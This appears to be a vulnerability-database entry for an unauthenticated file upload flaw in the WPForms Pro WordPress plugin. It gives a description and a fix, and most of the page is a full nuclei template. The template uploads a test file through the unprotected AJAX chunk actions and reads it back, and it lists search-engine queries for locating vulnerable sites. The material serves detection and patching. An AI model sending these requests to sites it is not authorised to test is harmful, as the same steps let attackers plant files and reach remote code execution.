HexBrain

Browse / CVEs / CVE-2026-10818

CVE-2026-10818· awesome-motive / wpforms· CWE-434

WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload

highseverity
8.1CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.

Impact

Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.

Fix

Update WPForms Pro to a version later than 1.10.1.1.

How to confirm it

Send: GET /
Positive when: contains(body, "wpforms-uploader")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "\"success\":true")
Send: GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk
Positive when: contains(body, "{{randstr}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-10818 -u <target>

The full check
id: CVE-2026-10818

info:
  name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
  author: i-am-paradox
  severity: high
  description: |
    WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
  impact: |
    Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.
  remediation: |
    Update WPForms Pro to a version later than 1.10.1.1.
  reference:
    - https://github.com/Nxploited/CVE-2026-10818
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10818
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-10818
    epss-score: 0.02482
    epss-percentile: 0.84725
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: awesome-motive
    product: wpforms
    shodan-query: http.html:"wpforms-uploader"
    fofa-query: body="wpforms-uploader"
  tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive,vkev

variables:
  dzuuid: "{{randstr}}"
  chunkname: "{{sha1(dzuuid)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wpforms-uploader")'
        internal: true
    extractors:
      - type: regex
        name: form_id
        regex:
          - 'data-form-id="(\d+)"'
        group: 1
        internal: true
      - type: regex
        name: field_id
        regex:
          - 'data-field-id="(\d+)"'
        group: 1
        internal: true
      - type: regex
        name: input_name
        regex:
          - 'data-input-name="([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----nxBoundary

        ------nxBoundary
        Content-Disposition: form-data; name="action"

        wpforms_upload_chunk
        ------nxBoundary
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        ------nxBoundary
        Content-Disposition: form-data; name="field_id"

        {{field_id}}
        ------nxBoundary
        Content-Disposition: form-data; name="dzuuid"

        {{dzuuid}}
        ------nxBoundary
        Content-Disposition: form-data; name="dzchunkindex"

        0
        ------nxBoundary
        Content-Disposition: form-data; name="dzchunksize"

        32
        ------nxBoundary
        Content-Disposition: form-data; name="dztotalchunkcount"

        1
        ------nxBoundary
        Content-Disposition: form-data; name="dzchunkbyteoffset"

        0
        ------nxBoundary
        Content-Disposition: form-data; name="{{input_name}}"; filename="nx-{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------nxBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{randstr}}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from